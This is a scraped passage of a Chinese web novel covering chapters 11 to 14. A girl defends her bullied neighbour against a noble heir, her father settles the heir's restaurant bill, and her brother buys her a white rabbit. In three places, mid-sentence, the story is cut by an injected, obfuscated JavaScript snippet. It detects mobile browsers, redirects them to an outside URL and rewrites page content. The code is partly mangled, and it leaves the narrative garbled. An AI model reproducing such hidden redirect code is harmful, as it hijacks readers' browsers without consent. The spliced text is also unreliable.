他早已经习惯被这样对待,周围人也是视若无睹,自从被接到侯府之后,那是第一次有人愿意挡在他的面前。 盛秋阑的个子比他要小,头顶也只到他的胸口,偏偏气势大得很,不偏不倚地站在他面前。 头顶上的小辫子也和她的主人一般炸开了花,别人都觉得她是行走的小炮仗,傅如珩却感觉这是独属于他的烟花。 也有可能是回到侯府之后,他去把花捡起来,一片片地用浆糊粘起来的时候。 花瓣很容易碎掉,其中的植物纤维露出来,即使表面已经粘起来了,上面的缝隙还是在无时不刻提醒他刚才发生的事情。 提醒他的无能为力让他被迫丢掉了收到的第一朵花。 亦或者是盛秋阑怒气冲冲地帮他把院门口的坑填满,把周围一群仆从都怼得无话可说的时候。 对方当时还想要去傅皓轩的院子当中给他也挖一个大坑,但是因为门口有人拦着,绕到院子后面也没有发现可以钻的空子。 当时她浑身上下裹得严严实实,呼出来的气都变成了白雾,半张脸埋在了围巾里面,语气中还带着不甘:“等我长高一点就能翻进去了,一定给他把坑挖出来。” …… 总之傅如珩默默下定了决心,他不会再让盛秋阑挡在自己面前了。 明媚的蝴蝶就应该自由地飞在天空中,不用为这些事情烦恼。 应该他来保护的。 侯府当中没有配备专门的师傅,府中的孩子都是去学堂当中学习骑射技艺的,但是没有人把傅如珩送进去,他只能用最原始的方法来锻炼自己。 不论冬夏,傅如珩总是在清晨顶着一头的汗回去沐浴,体力被极致消耗的同时,他瘦弱的手臂上逐渐多了一点肌肉线条。 虽然因为他还没有开始发育,这一点线条并不明显,但力量却得到了很大的提升。 傅如珩一直在找一个机会,一个可以证明自己能够护着盛秋阑的机会。 于是这一次,他挡住了傅皓轩。 盛秋阑见他不说话也没有在意,她疑问的重点不在这里,纤长的眼睫微微垂下,仿佛在思考着什么,挡住了一双亮晶晶的杏眼。 这几年间,她的模样长开了不少,唯有一双眼睛还是和小时候一样,里面的光亮始终没有褪去过,反而随着时间拉长变得更加显眼。 左眼角下面的痣愈发清晰,如同精致的墨点,衬得整个人更加灵动。 “以后我来罩着你,以后傅皓轩找你麻烦的时候,你就来告诉我,我帮你打他。” 盛秋阑觉得想出这个主意的自己绝顶聪明。 虽然她今天也没有出多少力,大多时候都是侍卫帮忙摁住,她只负责踹人,但看傅皓轩最后那个样子,应该要在家里面安分不少天。 要知道这可是两辈子以来她第一次正儿八经的打架,就能取得如此成就,罩个傅如珩也不成问题。 傅如珩略有些迟疑,但最后还是点了点头。 盛秋阑非常满意,她左看看右看看,想找个东西来纪念一下这个迅速又草率的关系。 可惜他们来得比较匆忙,过来时只带了四个侍卫,甚至到现在就只剩下两个了。 护院知道这些侍卫只是为府中做事的,不会过多为难,但过了这么久还没有出来,应该是被傅皓轩那边的人缠住了。 盛秋阑又默默地记了一笔。 目光投到刚刚被塞进手里面的小铃铛中,她眼睛一亮,把铃铛对着傅如珩比了比。 看到这个动作,傅如珩突然有了某种预感。 只见盛秋阑扯着自己的一边头发,干脆利落地把绑好的小丸子给松下来,半边黑发垂落的瞬间,她的手指上多了一条柔软的丝带。 作为侯府千金,她的丝带都是精心制作的,每一根发带都各不相同。 今天这根丝带用了暗纹布料,在阴暗处平平无奇,但是如果暴露在阳光下面,上面的图案就变得波光粼粼。 盛秋阑丝毫不顾凌乱的头发,把丝带从铃铛上面的小圆孔穿过,柔软的长条布料被挤压折叠,出现褶皱。 她冲着傅如珩微微抬起下巴:“伸手。” 傅如珩看上去有些不情愿,但在盛秋阑的眼神逼迫下还是伸出右手,随即手腕上就多了柔滑又有点冰凉的触感。 丝带在手上绕了一圈,盛秋阑拉扯到一个微微松的长度,然后灵活地在尾端打了一个结。 发带并不算长,但放在手腕上又显得有些富余。 只打了一个活结,垂落下来的飘带有些累赘,盛秋阑托着下巴看了看,捏起多余的部分,手指一弯一绕,变成了一个小巧的蝴蝶结。 绑带的位置刚好卡在腕骨处,手臂一移动就开始摩擦着那一块地方,带来痒痒麻麻的细小电流。 盛秋阑自己的头发散落在一旁,却对这个铃铛格外重视,特地把它移到了手腕最中央的位置。 “好了。” 之前被留下来的护院见到两个人的身影,驾车停在他们面前。 盛秋阑踩在放下来的梯子上,随后傅如珩进入了车中。 他手腕上的铃铛不断地晃动,声音不绝于耳。 因为只有一颗,几乎只能凑近才能听见,不似刚才在楼梯上的那样,牵一颗而动所有,但是却意外地好听,少了一点嘈杂。 盛秋阑非常满意,一贯冷淡又沉默的人自从带上铃铛之后就变得有活力许多,哪怕面上还是平淡如水,但因为这个声音穿插在其中,好像多了些许波澜。 傅如珩一开始还想要压着铃铛不让它出声,可看着盛秋阑好奇又时不时飘过来的眼神,又摁下了这个想法。 对方的头发一半披散着,一半还端端正正地顶在头上,看起来有些好笑。 他伸手,轻轻抽了一下另一边的发带,头发顺应而落。 “咦?” 感觉到头上的重量消失,盛秋阑后知后觉地捂住自己的脑袋。 “转过来。” “哦。” 盛秋阑乖乖转身,把后背留给傅如珩,她的头发乌黑细亮,用手捧起来如同绸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904871|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缎。 两个人都已经相当熟练,傅如珩把她的头发收拢成一束,手指插入发丝当中,很快就编成了一股小辫。 发带被系在发尾,打成了一个和手上同样的蝴蝶结。 盛秋阑的头发被身后的人拿在手里不能乱动,就透过车厢当中的帘子观察外面。 两个穿着熟悉衣服的侍卫从里面跑出来,紧随其后的是鎏金楼的护院。 他们明显是挣脱出来的,一前一后两队人看上去都有些狼狈。 见人已经出来了,前方驾马的侍卫立刻就要出发。 还没有来得及离开,护院就已经到了跟前,站在帘子大开的车厢门口。 “小姐,你们在鎏金楼里面损坏了很多东西,都需要赔偿。” 因为刚才闹出的那一通,整个包厢当中的装修已经基本损毁,只有房梁还撑着。 盛秋阑:“傅皓轩是不是还在里面。” 那人有些懵懵地点了点头,不理解她怎么突然提起了世子。 毕竟两个人的关系势如水火,看世子殿下那一身狼狈,这两个人之间的梁子应该算是彻底结下来了,他追出来的时候还听见傅皓轩坐在包厢里面叫着要让盛秋阑好看。 盛秋阑眼中满是狡黠:“那就让世子殿下赔吧。” 话刚说完,前面的侍卫就按照小姐之前的吩咐猛地拍马,车辆顿时驶出了一段距离,距离那一幢金光闪闪的楼宇更远了。 车厢里面已经提前铺上了厚厚的绒垫,知道自己家小姐怕冷,侍卫出发前还不忘塞上一个暖炉,热气从镂空处钻出来,充斥着这个狭小的空间。 盛秋阑刚刚打完一架,现在精神还是异常兴奋,坐在有些颠簸的马车里也不觉得困,脑海里不断回放着傅皓轩的惨状,没忍住“嘿嘿”笑了两声。 “我刚刚是不是特别厉害。” 马车停在府门口,盛秋阑跳下地面,还不忘转头向傅如珩炫耀。 傅如珩看到她的样子就知道她在想什么,对方像是完全不担心后续傅皓轩会报复,杏眼里面都是光亮,毫不掩饰自己的期待。 “嗯,厉害。” 他像是想到了什么,对盛秋阑说“等我一下”。 盛秋阑随意一点头,看着傅如珩进到侯府当中,很快又出来了,他的手上多了一杯水,递给盛秋阑。 盛秋阑以为他是听到自己的话,觉得辛苦她了,想要给一杯水犒劳。 “没事,我也没出多少力。” 她非常谦虚地说,顺手把水杯递到嘴边喝了一口。 “噗!” 盛秋阑猛地把嘴巴当中的水给吐出来,眉头紧紧皱起来。 “你给我喝了什么?” 她看向早已经预料到她动作,躲在旁边的傅如珩。 对方没让一滴水浇到身上,全都喂给了侯府门口的花花草草。 傅如珩没有回答他的问题:“下次不要咬他了。” 盛秋阑的眉头皱得更紧了,想到傅皓轩当时的惨叫, 为什么不让她咬,难道还顾忌着兄弟之情? 她的小弟怎么能够如此优柔寡断,绝不可行。 盛秋阑有问题绝不憋着:“为什么?” 她这样问着,一双眼睛还死死盯着傅如珩,好像他要是敢说出一个不满意的回答,当场就要被甩脸色。 虽然现在也差不多就是了。 “脏,”傅如珩开口,眼中是毫不掩饰的嫌弃,“他太脏了。” 傅皓轩这种垃圾,怎么配让盛秋阑咬他? 12. 账单 “哦。” 盛秋阑听完了解释,感觉确实有点恶心,主动又喝了一口水,还在嘴里咕噜咕噜两下,最后全部吐到侯府门口的树上。 哼,咸死它们。 她向傅如珩道别,轻快地走进自家院子当中。 盛怀德已经下了朝,换了朝服和夫人共同坐在院子的庭院当中品茶。 “爹爹!娘亲!” 听到身后略有些急促的脚步声,盛怀德熟稔地转身,刚好接住了跑过来的盛秋阑。 “听说你今日去了集市,怎么样,有没有带些什么回来?” 盛秋阑昨夜就在餐桌上说了今日的行程,盛怀德上下扫了一遍,女孩两手空空,浑身上下没有多一样东西。 按照以往,盛秋阑出去玩总要带些什么回府,大多是一些零零碎碎的小物件,有时候还会用自己小金库里的钱给爹娘和哥哥买些平日里看不到的新奇玩意儿,这还是第一次她空着手回来。 “没有看上的吗?” 盛秋阑略有些心虚,不是没有看上的,是连见都没见到。 “……呃,对,没有喜欢的。” 她的小表情自然没能过瞒过亲生父母,但是盛怀德和贺兰谨都没有拆穿她。 总归还这么小,应该也干不了什么大事,顶多就是偷偷去哪个地方玩了不敢告诉他们。 亭子里的氛围其乐融融,外面传来一阵敲门声,在旁边伺候的下人前去开了门,不知道听见了什么,有些犹豫地过来汇报。 盛怀德慢慢地喝了一口茶,随意问道:“外面是谁?” 仆从迟疑片刻,开口:“是侯府的人,他们说……说小姐把世子殿下打了,世子让人带着鎏金楼的账单过来讨要个说法。” “咳咳咳。” 盛怀德口中的茶还没有咽下去,呛在喉间。 “你说什么?把谁打了?带着哪里的账单?” 盛秋阑早在听见第一句话的时候就感觉情况不妙,略有些心虚地后退一步,躲在贺兰谨后面。 没想到刚编完谎话,这么快就要被戳穿了。 傅皓轩也真是小心眼,堂堂一个世子,居然还真的在乎那一点小钱,还上门讨债。 盛怀德来不及问盛秋阑,从侍从手中拿过账单,细细看下去。 绫罗绸缎、桌子、椅子、维修费用…… 长长一串,上面列出来的名称几乎囊括了酒楼包厢的所有物件,就差没把房顶加上去了。 这得是打成了什么样子? 门口,侯府的侍从还没有离开。 “从库中把银子拿给对面吧。” 那人应下,但还没有离开,补充道:“世子殿下好像现在还躺在床上,听说模样不是很好。” 盛怀德揉了揉眉心:“等我问一下,若是确实如此,明日会带着秋阑去侯府赔礼的。” 话语中护短的意思很明显,换用另一番意思,若是盛秋阑说她没错的话,那就不会去了。 侍从都能想到那位性情乖张的侯府长子听到这话会气成什么样子,但这不是他该考虑的,应下后拿着账单去库房中拿取对应的银子,一旁伺候的丫鬟也在贺兰谨的示意下退开,亭子当中只剩下三人。 盛秋阑很懂得看脸色,早在侍从退开来的时候就从娘亲的身后跳出来,主动开始给盛怀德捶背。 她的力道不轻不重,伴随着一声拖长口音的“爹爹”,盛怀德本就不多的气瞬间烟消云散。 不过面上还是要做些样子的。 盛怀德板着脸说:“你和侯府世子怎么回事?” “他欺负傅如珩,我自然要帮他教训一下。” 盛怀德早已经猜到是这个原因,从小盛秋阑就因为傅如珩的原因和傅皓轩互看不顺眼,之前也闹过几次冲突,只是没有想到有朝一日会在鎏金楼里面打起来。 盛家的情况算是少数,侯府之中妻妾众多,傅如珩作为其中一个不受宠的儿子,被这样对待也不算特例,只是傅皓轩好像格外喜欢针对他。 盛怀德在官场中蹉跎,对这种早已经见怪不怪,但盛秋阑却不一样。 终究还是侯府中的事情,作为外人不好多说,但盛怀德也没有过多阻止。 他不想破坏掉盛秋阑这份善意,终归之后也可以用小孩间的小打小闹来糊弄过去。 盛秋阑也心知肚明这一点,所以行事也没有顾忌。 不过这次闹得稍微大了一点点而已。 “那鎏金楼又是怎么回事?” 盛怀德问清原因之后,这就算让这件事情过去了,他更加关注自己所听到的地点。 盛秋阑这才几岁,怎么能到这种地方去? 鎏金楼在京城中最出名的不是酒,而是每隔几天就会开展的各类活动和里面的伶人们。 “还不是因为傅皓轩日日在那边,我只能去那里面找他。” 自己夜夜笙歌也就算了,居然还敢把账单送过来。 盛秋阑愤愤地想,就应该等傅皓轩出来的时候,在路上找个麻袋把他套上,然后拖到巷子里面把他打一顿,让他连打人的是谁都不知道,更别说寄账单了。 真是便宜他了。 盛怀德皱了皱眉,他不是没听过侯府世子的名声,只是没想到这么小就在鎏金楼这种乌烟瘴气的地方流连忘返。 他终究还是松了口:“不过这件事还是得给侯府一个交代,毕竟对方是世子。” 盛秋阑嘿嘿一笑,知道这一桩事算是过去了。 她得寸进尺道:“要不就送点药膏吧,爹爹你在京城这么久,有没有那种拿得出手但是又好得慢的药膏,最好涂上去会让人浑身难受,火辣辣地疼。” 盛怀德没有理她,招来一个仆从:“从库房里拿点人参和黄连送去侯府,就说今日之事是小女略显鲁莽了,望世子殿下能够早日康复。” “爹爹我就知道你最好了。” 盛秋阑非常满意,这些东西一听就苦得要死,让傅皓轩那个王八蛋躺在床上喝中药去吧。 粲粲粲。 “哟,走之前不是还说二哥最好吗,怎么现在又改口了?” 一道轻佻的少年声音响起,语气中还带着笑意和调侃。 盛秋阑听到熟悉的嗓音,惊喜地回头,看见盛承驰正跨入门槛当中,朝着他们的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904872|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向走过来。 “二哥!” 她已经有将近一个月没有看见盛承驰,当即就抛下爹娘,朝着他跑过去。 盛承驰已经熟悉她的动作,蹲下来把人接了个满怀。 盛秋阑的动作根本没有收,这一下撞得还有点疼。 盛承驰憋着没有揉生疼的小腹,他已经开始发育,这段时间长高了不少,蹲下来的时候与盛秋阑的视线齐平。 “想二哥了没?” “想的想的。” 盛秋阑还没有来得及辩解刚才被拆穿的“三心二意”,身后又传来一道声音。 “只想二哥吗,那我是不是应该走了?” 盛承礼慢了一步走进来,当场就抓获了两个人的互动。 他就知道弟弟早早跑下车肯定不会憋什么好事,所以在盛承驰下车不久之后,他也赶了过来。 “我也想大哥!” 盛秋阑从盛承驰怀中挣脱出来,又满面笑容地上去抱大哥,服务态度极好。 不急不急,两个人都能收获到抱抱。 她的端水能力已经到了炉火纯青的地步,在心里默默数着秒数,一到时间就从怀里面出来。 时间都一样哦,不许说我偏心。 盛秋阑沉稳地叹了一口气。 明明都已经比小时候大了不少了,怎么在这方面还是喜欢较劲? “这几日放旬假,我们可以在家中陪你多玩几天。” 自从盛承驰也开始上学之后,盛秋阑就只能一个人呆在家中,闻言立刻答应:“好。” 盛怀德和贺兰谨给了兄妹足够的聊天时间,见他们说得差不多了才笑眼盈盈地从亭子当中走出来。 他们早上就已经知道了学堂放假的消息,让膳房多准备了些饭菜,现在时辰已经差不多了。 “好了,不是早就说饿了吗,有什么话可以饭后再聊。” 盛家在饭桌上没有那么多规矩,但是因为今天大公子和二公子回来,府中的下人也费了些心思,桌上摆满了几人平日最爱的菜品,阵仗堪比小型家宴。 盛秋阑吃得腮帮子鼓起来,根本没有空闲时间张嘴,竖着耳朵听其他人聊天。 盛怀德问了两句他们在学堂中的课业,在父亲面前,就连盛承驰也变得安分了不少,老老实实地回答相关的问题。 他顺口提到:“我们原来的童舍被拆了,似是要搬到学院附近,大抵放假回去就能看到新童舍了。” 说起这件事,盛承驰有些烦躁:“这般年纪的小崽子,休憩时都能听见他们玩闹,不给人清静。” 盛秋阑终于咽下来口中的东西,刻意咳嗽两声,学着别人文绉绉的样子:“二哥慎言。” 单论年龄还说,她比盛承驰口中的“小崽子”还要再小一点,相当于把她也给说进去了。 看见自家妹妹佯装不满的神情,盛承驰讨饶:“妹妹当然是全世界最安静听话的,和他们才不一样。” 听到这话,坐在主位上的盛怀德嘴角一抽,想起来自己库房中消失的人参和那长长一串的账单。 也不知道这两个词哪个字和盛秋阑有关系。 13. 冤大头 第二日,盛秋阑难得早起了一回。 今天相比起昨日气温低了一些,迎春给她在外面穿了一件带着帽子的披肩,一边给她扎头发,一边奇怪地询问。 “小姐,昨日我给你扎了两个小髻,今儿怎么只剩下一根发带了。” 盛秋阑想起来昨天给傅如珩系上铃铛之后就没有拿回来,另一根现在应该还在对方那边,她讨好地笑了一下,没有说实话:“可能是昨日打架的时候被拽掉了。” 她在鎏金楼里的丰功伟绩早已经在府中传遍了,迎春没有怀疑,只是有些遗憾:“这一对发带还挺好看的,现在只有一根了。” 她拿着留下来的那一根发带,绑在最末尾,一根辫子侧扎着放在耳旁。 盛秋阑晃晃脑袋,觉得挺稳固,从凳子上跳下来,往外面跑去。 “这次我一定不会弄丢的。” 她跑到大院门口,正想要踏出去,外套的帽子却被人拽住了,抬起来的一只脚悬在空中,被迫往后退了一步。 盛秋阑伸手把帽子拉回来,看着抱着胸站在身后的盛承驰。 “二哥你干什么?” 盛承驰看着她:“难得见你早上不睡懒觉,急着干什么去?” “我去找傅如珩玩。”盛秋阑理所当然地回答。 盛承驰闻言有些吃醋,拦着不肯让她走:“我听说你天天去找傅家那小子玩,我难得回来一次,也没见你一早上就跑来找二哥。那小子天天闷着不说话,有什么好玩的?” 盛秋阑平时卖乖嘴甜一整套,这次却难得反驳了回去。 “他才没有!二哥你平时还逃学去外面玩,爹娘都不知道,信不信我现在去告状?” 盛承驰根本不信,他逃学的时候特地观察过周围的环境,没有看见过盛秋阑的影子,怎么可能会知道。 没想到盛秋阑很快就说出了具体时间:“二月十四,你到花鸟集里面去斗蛐蛐,还和人比输了,被迫买了两只蛐蛐送给对方。” 她看着眼睛猛然睁大的盛承驰,补充完了最后一句:“现在那个蛐蛐莫不是还在学堂里面?” 盛承驰哑口无言。 “学堂假期要检查,我早已经放生了。” 他说完这一句,又不死心地问:“你怎么知道的?明明当时只有我和同窗好友。” 盛秋阑高深莫测地摇摇头,坚决不肯透露。 笑话,万一盛承驰知道了以后就躲开了怎么办? 其实这件事也是她偶然知道的。 盛秋阑一次和傅如珩出去的时候,刚好经过花鸟集,他们惯常逛的商铺门口多了几笼兔子,像是刚刚摆出来的,她被笼子里的幼年兔吸引力目光,忍不住停下来看了一会儿, 掌柜在一旁极力推荐:“我们这的兔子品相都极好,这还是从远处进过来的,我敢说京城当中,我们肯定是最先一家。若是小姐不喜欢,这边还有其他东西,前几日有几位崇阳学院的公子们都来买了。” 崇阳学院是京城最有名的学院,能够进去的大多是官宦子弟,要么就是品学极好的学子,堪称古代的清北附中,用崇阳学院来作招牌,招揽效果显而易见。 他见盛秋阑穿着不凡,觉得这笔生意促成的可能性很大,还翻出来了赊账单:“这几位公子来这边儿比赛,筹码就是店中的蛐蛐,不过那位公子没有带银两,赊在我这。” 盛秋阑家中就有两个兄长在崇阳学院上学,对这个名头并不热切,但是看掌柜一脸热切,还是看了一眼,结果账单旁边签着的赫然是盛承驰的名字。 没想到当时的意外发现能够在这里派上用场。 “对了,二哥你还清账了吗?” 盛承驰彻底败下来,他没想到盛秋阑就连这件事情都知道。 当时出来玩是临时起意,没有带银两,他就约定等到放假就去还,现在兜里面就揣着票子。 风水轮流转,现在变成盛秋阑好以整暇地站在原地,看盛承驰向她服软。 “爹娘不知道这事,你应该不会想看二哥受罚的吧。” 盛秋阑之前没有说,现在自然也不会去告密。 但她面上却没有表现出来,刻意站在原地。 “那你以后不许说傅如珩的坏话。” 盛承驰没有想到话题最后还是绕到这里来了,他想说些什么,最后迫于逃学威胁,先答应下来。 “行行行,我再也不说你那个小竹马坏话了。” 举着双手发誓完,看到盛秋阑打算放过这件事情,盛承驰原本只有两分的醋意变得真情实感起来。 “看你护着他的样子,连亲哥都比不上。” “哪有,明明我对你也很好。” 盛秋阑讨好地上去,一边还谨慎地拽着自己的帽子,没有给盛承驰第二次机会。 不过盛承驰刚才的话也算提醒了她,她看了看眼前的大门,又想到哥哥难得回家一次,自己抛下他去找傅如珩好像确实不太好。 算了,她和傅如珩平时也能在一起,况且昨日也已经答应二哥了,现在鸽也不太好。 盛秋阑收回脚步:“那我们今天去哪?” 盛承驰神秘兮兮地说:“等着,我们今天去吓吓大哥。” 他拍了拍暗袋里面的银票,打开了面前的大门。 盛秋阑跟着他上了车,马车走之前看了一眼对面的侯府大门。 车辆最后停在了花鸟集的门口,可能是因为大多学生都放了旬假,今日的市场比以往还要热闹一些,他们两个经常光顾的商铺门口挤满了人,大多是一些小孩子。 人团团围在门口的笼子旁边,凑着脑袋看里面的动物。 “看,它在吃东西,嘴巴好可爱。” “这只没有先前的白色好看,若不是太贵,我真想带回家。” 掌柜正在柜台前收银票,一个算盘在手上打得啪啪响。 “掌柜的,我来清账了。” 掌柜百忙之中抬起头来,他明显还认识这个给他带来不少生意的顾客,旁边的盛秋阑也很眼熟。 “原来你们是一家的,难怪当时就觉得相似。” 他利落地打开另外一本账簿,在盛承驰的旁边勾上一条杠。 “等等,我再买些东西。” 盛承驰特意避开了盛秋阑,拐到角落问掌柜:“我妹妹先前来过这里?” 掌柜对盛秋阑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906448|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印象挺深:“是啊,她和朋友有时候会来我这里看兔子,只是没想到你们居然是兄妹。” “哪种兔子?” 掌柜回忆道:“是我们这边新到的白兔,比其他种类的兔子贵些,尤其是一只新到的幼兔,看的时间最久。” “那只兔子可还在?” “在是在的,不过因为出价的人不多,又需要精心照顾,我拿到里边去了。” “那我买了。” “好嘞。”掌柜喜笑颜开,从里间拿出那只兔子,还送了些叶片。 “这个年纪的兔子还很娇弱,需要多看顾店,等大了就好了。” 盛承驰接过笼子,又在掌柜耳边说了什么,后者从一旁打开了一个小笼子,把东西放在不透明的盒子了。 “这个送你了。”他很大气地说。 “好嘞,谢谢掌柜。” 两人都非常满意,盛承驰转身想要把笼子给盛秋阑,却发现对方已经没有了影。 他吓出了一身冷汗,人是他带出来的,若是在这种地方丢了可就完了。 幸好,搜寻了一圈之后,盛承驰在门口发现了和其他小孩蹲在一起的盛秋阑。 盛秋阑不知何时已经到了人群的最前方,周围小孩都跃跃欲试,想要通过笼子的缝隙往里面伸手,一贯吵闹的她却非常安静,只是睁眼看着,看起来非常懂礼节。 不愧是他妹。 若是盛秋阑知道盛承驰在想什么,必定要说他想多了。 这个兔子好像刚刚拉过屎,她觉得臭才没有去碰而已。 她前段时间还在这里看见了几只白兔,现在那几只幼兔却不见了,只剩下了一只大一些的。 虽然兔子已经不算稀奇物,不过毛色种类还是有区别,其中以白兔最为罕见,幼兔价格更是高上许多,那只留下来的白兔旁边围着的人也是最多的。 盛秋阑看得津津有味,感觉腿都麻了才站起来,正想要问问盛承驰怎么还没有好,就听见周围人分散了一点,视线不再聚集在面前的笼子中,不断有惊呼声。 “真的买下来了?” “大概又是哪家公子吧。” 盛秋阑听着他们的话,得知有人把兔子买下来了。 掌柜当初进兔子时也是财大气粗,京城中少有做这种赔本买卖的。 这些兔子品种让它们注定只能用来观赏,一般人家绝不会花这个钱,摆在门口也只是为了吸引人来店里而已。 这时候不比盛秋阑原来的世界,一只兔子的价格可以抵普通人家几年的吃食,若不是有特殊爱好的豪门官府,绝不会浪费这个钱。 盛秋阑好奇地抬起眼:她倒要看看是哪个冤大头。 一道身影从人群当中走出来,姿势异常潇洒,举手投足之间都带着一种熟悉感。 伴随着其他人的惊呼,盛秋阑看着自家二哥把手中的笼子递给她,里面正是之前没有见到过的白色幼兔,现在正在里面酣睡,丝毫没有被周围的动静吵醒。 身上突然变得灼热起来,一道道目光全都集中在她还有她手中提着的笼子上面。 盛秋阑:“……” 原来是她家的冤大头。 14. 盛大胆 盛秋阑在一众小不点艳羡的目光当中拿着笼子上了马车。 窗外的热切视线全数被帘子阻挡住,她把笼子放在脚下,俯身观察着幼兔睡觉的样子。 说不喜欢肯定是假的,她之前虽然不常经过花鸟集,但只要看到了门口的兔子总会留下来看一会儿。 虽然先前在心里偷偷说盛承驰是败家子,实则拿到之后也没有放过手,一直牢牢地捧在怀中。 盛秋阑先前从来没有养过小动物,上学的时候没有精力照顾,原来倒是想过在毕业之后租一间小屋子,可以买一只安静一点的小猫养在家里,结果还没有等到毕业,自己就来到了这里。 没想到就这样阴差阳错实现了原先的愿望。 兔子在刚才的环境下都没有被吵醒,现在换到了温暖的马车上更是睡得很熟,耳朵软趴趴地放在脑后,整只兔蜷成一团,像白白胖胖的馒头。 即便是这样,盛秋阑还是不敢轻易去摸,只是隔着笼子观察着。 盛承驰:“现在它已经是你的了,想摸就摸。我刚刚问了掌柜,兔子睡着的时候不容易醒。” 盛秋阑闻言有些心动,眼神不住地飘到蜷缩在一起的毛团上,却迟迟没有动作。 她表现出来的紧张自然也没有逃脱过盛承驰的视线,惯常总是话多的人在突如其来的一只小动物面前瞻前顾后,就连说话都放低了声音,生怕吵醒它。 他看不过去,直接打开了笼子上方的开口,拉着盛秋阑的手伸进去。 盛秋阑手指蜷缩了一下,似是想要收回去,但是终究还是没有抵得过心动,快速又轻柔地触碰了一下那一片雪白,如同蜻蜓点水一般。 她手指收回得太快,几乎快要有残影,让人怀疑是不是根本没有碰到。 盛秋阑眼睛微微睁大,回味着指尖感受到的那一瞬细软,虽然时间短暂,但她确确实实触碰到了。 柔软的毛存在指尖,轻轻搔动着。 盛秋阑没敢再碰第二下,从笼子当中抽出自己的手,小心翼翼地拉上开口,屏住呼吸从侧面观察着兔子。 她根本没有用多少力,但还是害怕兔子会因此被吵醒。 万幸,那一团雪白连姿势都没有动,一双眼睛闭着,只留下两条缝,藏在周围的毛中,几乎要看不见。 盛秋阑松了一口气,透过笼子反复确认之后,才勉强把目光移开。 她的视线一转,落在盛承驰的手上。 那是一个不透明的盒子,盒子的体积很小,只在侧边留了一个小孔。 刚才的注意力全都在这一笼兔子上,根本没有发现盛承驰还多了这个小东西。 这个时候盛秋阑才有闲心询问:“这是什么?” 盛承驰的表情非常神秘:“这是给大哥的。” 盛秋阑直觉这并不是什么好东西,但她在脑海中搜寻了一圈,都没有想到店铺中能够有什么东西可以放在这个盒子里。 况且,就凭这个小东西,怎么可能把大哥吓到? “给我看看。” 盛承驰犹豫了一下,似是在想要不要在车上打开来,最后还是拒绝了。 “算了,我怕你被吓到。” 盛秋阑反而被勾起来了好奇,她才不信有什么可以吓到她,之前她可是能够在半夜看恐怖片找灵感的人。 人称……自称“盛大胆”。 盛承驰非常谨慎,任凭盛秋阑好说歹说都不肯答应,甚至还把盒子拿到了另一边。 盛秋阑手臂不够长没办法拿到,可要是换位置的话,地上还摆着兔子笼,一动就会踢到,尝试无果,只能不甘心地坐在原地。 马车一路行驶,最后停在侍郎府门口,盛秋阑手中提着兔子笼,没有再向往常一样直接往下跳,老老实实踩着梯子到了地面上。 盛承驰就没有那么多顾忌了,他单手拿着盒子,直接从车厢边缘往下跳,稳稳落在地面上。 马车上面的欧聪看到两人都下车之后,绕到后门进入,露出了完整的街道。 盛秋阑回头望了一眼侯府,他们出去了一个多时辰,对面大门还是和走之前一样紧闭着。 手中的笼子沉甸甸的,她还在犹豫之中,自家大门就被从里向外打开了。 “小姐怎么站在门口,快进来吧。” 盛秋阑被半拉着踏入大门,碧云从她手中接过了兔笼。 “小姐,这个放在哪里?” 她回过神:“就放在后院吧,那边刚好有一处空着。” 早在马车里的时候,盛秋阑就已经想好了兔子的归属地点。 后院有一处草坪上面搭建着棚子,原本是想要用作平时乘凉的场地,但是因为他们更加偏好去亭子当中,那处地方就被空出来了,棚子也没有拆掉,现在正好能够用来当做兔子窝。 府中的绿化做得很好,但还是第一次有活物出现在后院当中,棚子当成了天然的屋顶,方位又刚好对着南边,若是出了太阳也能照进其中。 因为这一个意外的成员,仆从们紧急在周围用木头做了一个简易的围栏,圈住了一块草坪,当做白兔平时的活动场所。 那只在路上一直睡着的兔子就是在这个时候醒来了。 蓬松的一团毛球舒展开来,一双红宝石似的眼睛睁开来,嵌在白色的毛中。 它在笼子当中有些活跃,碧云打开上面的开口,抱着它出来,兔子传承了主人的自来熟,都不用人引导,自己就一蹦一跳到了棚子当中,找了一块空地趴下来。 盛秋阑没有要别人帮忙,自己拿着不要的被褥,铺在它躺着的位置上,她把被子边缘的角折叠起来,做成了一个中间凹陷的坑,吭哧吭哧收拾完,想到正在升温的天气,又去找了一个小凉席,放在了兔窝的旁边。 这种兔子一般偏静,但可能是因为岁数不大,或者是先前放在店门口已经被围观习惯了,就算盛秋阑在旁边也没有逃走,反而朝她的方向走了两步,停在一个隔着小段距离的地方。 